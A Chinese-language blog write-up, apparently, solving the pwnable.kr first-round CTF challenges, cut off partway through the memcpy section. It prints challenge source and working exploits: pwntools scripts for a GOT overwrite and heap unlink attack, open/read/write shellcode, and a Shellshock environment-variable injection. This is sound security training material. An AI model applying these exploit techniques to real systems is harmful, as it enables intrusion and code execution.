pwnable第一区write up

pwnable.kr第一区的题的write up整理在这:

fd

20024023.png
看一下fd.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n"); //输入一个命令行参数
return 0;
}
int fd = atoi( argv[1] ) - 0x1234; // 0x1234 >> 4660
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){ //字符串比较
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}

20146905.png

col

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC; //key
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
/* 参数字符串长度为20个字符 */
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
/* 如果累加和相等就能够执行对应的命令,输出flag */
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

可以看出check_password函数将这20个字符分为5个数,所以只要计算5个数之和等于hashcode就行了。
先尝试一下直接提供参数”\x21\xDD\x09\xEC”+”\x00”16:
15726429.png
报错了,似乎是因为不能用\x00?,那就用\x01好了=-=:

用一个大数加上后面四个相等的数,

即A+4
B=hashcode

hashcode = 0x21DD09EC = 568134124(10)

设B = \x01\x01\x01\x01;

B = 16843009(10)

A = 568134124(10) - 4 B = 500762088

A=\xe8\x05\xd9\x1d

所以可以提供参数:
“\xe8\x05\xd9\x1d” + “\x01” 16

20362280.png
getflag~

bof

Download : http://pwnable.kr/bin/bof

Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

一道缓冲区溢出题,我们可以利用overflowme[32]来覆盖key的值得到flag。

用gdb调:
1.png
2.png
可以发现[ebp-0xc]是overflowme,[ebp+0x8]是0xcafebabe。

找到cmp比较的地址,下断:

3.png

输入32个A:
4.png

此时还没有溢出:
5.png

但是上面已经覆盖了0x41414141.距离目标0xdeadbeef还有20个字节。
6.png

之前输入的是32个A。
所以我们需要填充52个字节,再覆盖上0xdeadbeef。
7.png
8.png
0xdeadbeef已经被0x42424242成功覆盖了~

接下来只需要把BBBB改成key->0xcafebabe就行了

用pwntools:

9.png

upx

Download : http://pwnable.kr/bin/flag

$ ./flag

I will malloc() and strcpy the flag there. take it.

$ strings flag



$ strings flag | grep -i upx

UPX!

$Info: This file is packed with the UPX executable packer http://upx.sf.net $

$Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $

UPX!

UPX!

$ file flag

flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

$ upx -d flag

Ultimate Packer for eXecutables

Copyright (C) 1996 - 2013

UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013

File size         Ratio      Format      Name

887219 <-    335288   37.79%  linux/ElfAMD   flag

Unpacked 1 file.

(if no upx…..do:
sudo apt-get install upx-ucl)

之后将脱壳后的flag文件脱进ida里
直接找到:

.rodata:0000000000496628 aUpx___?SoundsL db ‘UPX…? sounds like a delivery service :)’,0
.rodata:0000000000496628 ; DATA XREF: .data:flago

passcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1); //scanf读入有问题
fflush(stdin); //清空输入缓冲区
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2); //scanf
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

这题的解法就是向fflush的got表里写入地址,这样在执行fflush的时候就能跳到这个地址了。
在ida里找到fflush的地址:
33.png
还有我们要跳到的login ok的地址:
34.png

构造exp:

1
2
3
4
5
6
7
8
9
from pwn import*
p = ssh(host='pwnable.kr', port=2222, user='passcode', password='guest')
sh = p.process("./passcode")
#addr = 0x080485d7 -> 134514135 因为输入只接受十进制的数,所以要把地址的值转化为十进制
payload = 'a' * 96 + '\x04\xa0\x04\x08' + '134514135'
sh.sendline(payload)
print (sh.recvall())

35.png

mistake

ssh mistake@pwnable.kr -p2222 (pw:guest)

提示:运算符符优先级

记不清优先级的话,就在做题前先复习下运算符优先级吧.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}

问题出在这:

1
fd=open("/home/mistake/password",O_RDONLY,0400) < 0

= 的优先级比 < 小,但是open又总是返回一个非负数的,所以<0为假,fd=0.也就是用户自己输入一段长度为10的数据,并保证password是和1进行按位异或的结果就行了。
10.png

shellshock

这题是个真实漏洞,wiki->
https://en.wikipedia.org/wiki/Shellshock_(software_bug)

Shellshock,又称Bashdoor[1],是在Unix中广泛使用的Bash shell中的一个安全漏洞[2],首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统[3]。

11.png
这个漏洞的原始形式包括一个特殊的环境变量,其中包含一个导出的函数定义,其次是任意命令。Bash在导入该函数时不正确地执行跟踪命令。可以使用以下命令对漏洞进行测试:

1
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

在受该漏洞影响的系统中,上述命令将显示“vulnerable”一词,这是Bash执行命令“echo vulnerable”的结果,该命令被嵌入到指定的名为“x”的环境变量中。

ssh shellshock@pwnable.kr -p2222 (pw:guest)
12.png

接下来在目标系统中输入这个命令:

1
env x='() { :;}; echo vulnerable' ./bash -c "echo this is a test"

注意要用./bash

13.png
显示了vulnerable,说明该系统中确实存在这个漏洞。
我们根据其特征对其加以利用,直接cat flag:

1
env x='() { :;}; /bin/cat flag' ./shellshock

14.png

random

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

伪随机数…而且发现random的值不会改变的。

来测试下rand()的值:
15.png
输出的值总是1804289383

将其与0xdeadbeef异或:

16.png

这个就是正确的key啦~

17.png

leg

给了一个c和一个asm文件,我直接在代码里加上了注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n"); //向计数器pc写入r3的值 0x00008cdc <+8>: mov r3, pc
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n" // 0x00008cfc <+12>: add r6, pc, #1 向pc中写入r6的值
"bx r6\n" //跳转到r6
".code 16\n"
"mov r3, pc\n" //0x00008d04 <+20>: mov r3, pc
"add r3, $0x4\n" //0x00008d06 <+22>: adds r3, #4 向pc中写入r3的值再+0x4
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n" //pc = r6 = 0x00008d0c
);
}
int key3(){
asm("mov r3, lr\n"); //0x00008d28 <+8>: mov r3, lr 保存lr的值:0x00008d80
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c <printf>
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0 ;lr
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c <puts>
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc ;pc = 0x00008cdc + 0x8 = 0x00008ce4
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)

分析之后发现key1是pc的值:0x00008ce4
key2 = 0x00008d0c
key3 = 0x00008d80

所以key = key1 + key2 + key3 = 0x00008ce4+0x00008d0c+0x00008d80=0x00001a770 = 108400(d)
18.png

cmd1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
//若str2是str1的子串,则先确定str2在str1的第一次出现的位置,并返回此str1在str2首位置的地址。;如果str2不是str1的子串,则返回NULL。
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/fuckyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}

不能出现flag,sh,tmp这些字符串,那就分开传=-=
19.png

cmd2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ; //用来打印环境变量
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}

解法很多,不允许修改环境变量,但是不禁pwd命令,用下面的命令cat flag:
20.png

UAF

Use After Free简称UAF,是一种常见的堆漏洞利用方式。具体可查看下面这个博客:http://www.evil0x.com/posts/24881.html

在做题前先了解一些虚函数表:http://blog.csdn.net/haoel/article/details/1948051

可以用这个命令将文件拷贝到本地:

1
scp -p 2222 uaf@pwnable.kr:uaf /home/edvison/pwn_work //注意P要大写orz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1: //调用两个类函数
m->introduce();
w->introduce();
break;
case 2: //分配data空间,从文件argv[2]中读取长度为argc[1]的字符到data
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3: //释放对象
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}

这里如果先执行3再执行1就触发了uaf漏洞。

我们的目的是把introduce函数的指针覆盖为give_shell的指针,然后就能执行1调用shell了

查找到getshell和introduce的地址:
21.png

看main函数的汇编代码,可以发现给每个对象分配了0x18(24)个字节的内存空间:
22.png

在后面调用的Man构造函数里发现了vtable:
23.png

24.png

在main函数里可以看到这个v13,就是vptr,转换为指针取其中的数据就是vtable的第一个值,加8就是introduce的函数指针。
25.png

然后要让v13+8指向get_shell,就是vtable+8 = 0x401570,所以vtable的值取0x401568.
26.png
读取24字节的字符到data。这里要allocate两次,因为是先free的m,再free的w,因此在分配内存的时候优先分配到后释放的w,所以要先申请一次空间,将w分配出去,再分配到m。
27.png

blackjack

nc pwnable.kr 9009

代码有点长,不复制了。由于它只检查bet是否小于cash,并没有检查是否为负数,我们可以直接输入-1000000然后全部hit,就得到100000了=-=
28.png

asm

程序通过使用seccomp只允许应用程序调用 exit(), sigreturn(), read() 和 write() 四种系统调用来达到沙箱的效果。

关于seccomp可查看https://tech.liuchao.me/tag/seccomp/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
//用seccomp_rule_add指定只能使用下面几个规则
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){ //当使用了除上面以外的函数时,显示错误
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}

程序要求我们用open()/read()/write()这几个系统函数来写shellcode。

可以用pwntools带的shellcraft,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
#-*- coding:utf-8 -×-
from pwn import *
p = ssh(user='asm', host='pwnable.kr', port=2222, password='guest')
sh = p.remote(host='0', port=9026)
context(arch='amd64', os='linux', log_level='debug')
shellcode = ''
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.open('rsp', 0, 0) #将字符串存在rsp上,用open读取文件
shellcode += shellcraft.read('rax', 'rsp', 100) #读取100个字节到缓冲区中
shellcode += shellcraft.write(1, 'rsp', 100) #将缓冲区的内容输出
sh.recvuntil('shellcode:')
print (shellcode+'\n')
sh.send(asm(shellcode))
log.success(sh.recvline())

dubug获得的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
/* push 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x676e6f306f306f
xor [rsp], rax
mov rax, 0x306f306f306f306f
push rax
mov rax, 0x3030303030303030
push rax
mov rax, 0x303030306f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f3030303030
push rax
mov rax, 0x3030303030303030
push rax
mov rax, 0x3030303030303030
push rax
mov rax, 0x303030306f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6c5f797265765f73
push rax
mov rax, 0x695f656d616e5f65
push rax
mov rax, 0x6c69665f6568745f
push rax
mov rax, 0x7972726f732e656c
push rax
mov rax, 0x69665f736968745f
push rax
mov rax, 0x646165725f657361
push rax
mov rax, 0x656c705f656c6966
push rax
mov rax, 0x5f67616c665f726b
push rax
mov rax, 0x2e656c62616e7770
push rax
mov rax, 0x5f73695f73696874
push rax
/* open(file='rsp', oflag=0, mode=0) */
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push 2 /* 2 */
pop rax
syscall
/* call read('rax', 'rsp', 100) */
mov rdi, rax
xor eax, eax /* SYS_read */
push 0x64
pop rdx
mov rsi, rsp
syscall
/* write(fd=1, buf='rsp', n=100) */
push 1
pop rdi
push 0x64
pop rdx
mov rsi, rsp
/* call write() */
push 1 /* 1 */
pop rax
syscall

简化一下也是可以写汇编拿shellcode的。
29.png

unlink

这题涉及到堆溢出orz…之前对堆溢出没有多深的了解,在做题前先去看了这篇博客:http://blog.csdn.net/qq_29343201/article/details/53558216

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}

由于使用了gets()函数,导致了堆溢出。可以通过这个来改写ABC在堆中的内容。
重点来看这四个指令:

1
2
3
4
BK=B->bk;
FD=B->fd;
FD->bk=BK;
BK->fd=FD;

化简一下就是:

1
2
(B->fd)->bk = B->bk //FD->bk = B->bk
(B->bk)->fd = B->fd //BK->fd = B->fd

实际上我们只要利用这个来重写B在堆中的fd和bk,就能实现任意内存写入了。

在下面这段汇编中可以找到ABC的地址:
30.png

从下面这一段我们可以看出,只要将栈上的值传给返回地址,修改esp的内容为shell的地址就行了。

将ebp-0x4的地址传给了esp,将ebp-0x4的值存在了ecx中。我们要修改的就是ebp-0x4,而将shell的地址写入A中后,它们之间的偏移就是0x10.所以是stack_addr + 0x10;

而shell的地址是heap的地址加8,又有ecx-4赋给了esp,所以还要加8,heap_addr + 12.(还要再减4
31.png

这个exp写得感觉自己是个智障orz…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
context(log_level='debug')
#sh = process('./unlink')
p = ssh(host='pwnable.kr', port=2222, user='unlink', password='guest')
sh = p.process("./unlink")
sh.recvuntil("here is stack address leak: ")
stack_addr = sh.recv(10)
#a = sh.readline().strip()
stack_addr = int(stack_addr, 16)
sh.recvuntil("here is heap address leak: ")
heap_addr = sh.recv(9)
#b = sh.readline().strip()
heap_addr = int(heap_addr, 16)
shell_addr = 0x080484eb
junk = 'a' * 12
payload = p32(shell_addr) + junk + p32(heap_addr + 12) + p32(stack_addr + 0x10)
sh.send(payload)
sh.interactive()

下面是官方爸爸的exp…orz
32.png

memcpy

分析一下源码,题目要求是使程序成功运行起来。关键点在fast_memcpy上,注意movntps指令,要求必须对齐16字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>
unsigned long long rdtsc(){
asm("rdtsc"); //读取时间标签计数器
}
char* slow_memcpy(char* dest, const char* src, size_t len){ //逐字替换
int i;
for (i=0; i<len; i++) {
dest[i] = src[i];
}
return dest;
}
char* fast_memcpy(char* dest, const char* src, size_t len){
size_t i;
// 64-byte block fast copy 64字节的块快速拷贝
if(len >= 64){
i = len / 64;
len &= (64-1);
while(i-- > 0){
__asm__ __volatile__ ( //__volatile__表示不要优化代码,后面的指令保持原样
"movdqa (%0), %%xmm0\n" //将xxm寄存器中的双四字节移入128位内存位置
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n" //直接把(%1)中的值送入xmm,不经过cache,必须对齐16字节
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");
dest += 64;
src += 64;
}
}
// byte-to-byte slow copy 逐字拷贝
if(len) slow_memcpy(dest, src, len);
return dest;
}
int main(void){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Hey, I have a boring assignment for CS class.. :(\n");
printf("The assignment is simple.\n");
printf("-----------------------------------------------------\n");
printf("- What is the best implementation of memcpy? -\n"); //memcpy的最佳实现是什么
printf("- 1. implement your own slow/fast version of memcpy -\n"); //实现你自己的缓慢/快速版本的memcpy
printf("- 2. compare them with various size of data -\n"); //将它们与各种大小的数据进行比较
printf("- 3. conclude your experiment and submit report -\n"); //结束实验并提交报告
printf("-----------------------------------------------------\n");
printf("This time, just help me out with my experiment and get flag\n");
printf("No fancy hacking, I promise :D\n");
unsigned long long t1, t2;
int e;
char* src;
char* dest;
unsigned int low, high;
unsigned int size;
// allocate memory 分配内存
